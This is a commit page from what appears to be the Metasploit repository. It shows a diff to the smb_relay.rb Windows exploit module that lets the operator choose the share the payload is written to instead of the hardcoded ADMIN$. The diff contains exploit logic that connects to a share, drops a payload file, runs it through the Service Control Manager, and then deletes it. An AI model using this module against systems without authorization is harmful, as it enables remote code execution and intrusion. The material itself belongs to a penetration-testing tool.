Skip to content

Commit deb9385

Browse files
author
lmercer
committed
Patch for smb_relay.rb to allow the share written to, to be defined in an option
As described in Redmine Feature rapid7#5455
1 parent ad3ca3a commit deb9385

File tree

1 file changed

+7
-6
lines changed

1 file changed

+7
-6
lines changed

modules/exploits/windows/smb/smb_relay.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -94,7 +94,8 @@ module is not able to clean up after itself. The service and payload
9494

9595
register_options(
9696
[
97-
OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"])
97+
OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]),
98+
OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
9899
], self.class )
99100
end
100101

@@ -124,8 +125,8 @@ def smb_haxor(c)
124125
return
125126
end
126127

127-
print_status("Connecting to the ADMIN$ share...")
128-
rclient.connect("ADMIN$")
128+
print_status("Connecting to the defined share...")
129+
rclient.connect(datastore['SHARE'])
129130

130131
@pwned[smb[:rhost]] = true
131132

@@ -155,8 +156,8 @@ def smb_haxor(c)
155156

156157
print_status("Created \\#{filename}...")
157158

158-
# Disconnect from the ADMIN$
159-
rclient.disconnect("ADMIN$")
159+
# Disconnect from the SHARE
160+
rclient.disconnect(datastore['SHARE'])
160161

161162
print_status("Connecting to the Service Control Manager...")
162163
rclient.connect("IPC$")
@@ -295,7 +296,7 @@ def smb_haxor(c)
295296
rclient.disconnect("IPC$")
296297

297298
print_status("Deleting \\#{filename}...")
298-
rclient.connect("ADMIN$")
299+
rclient.connect(datastore['SHARE'])
299300
rclient.delete("\\#{filename}")
300301
end
301302

0 commit comments

Comments
 (0)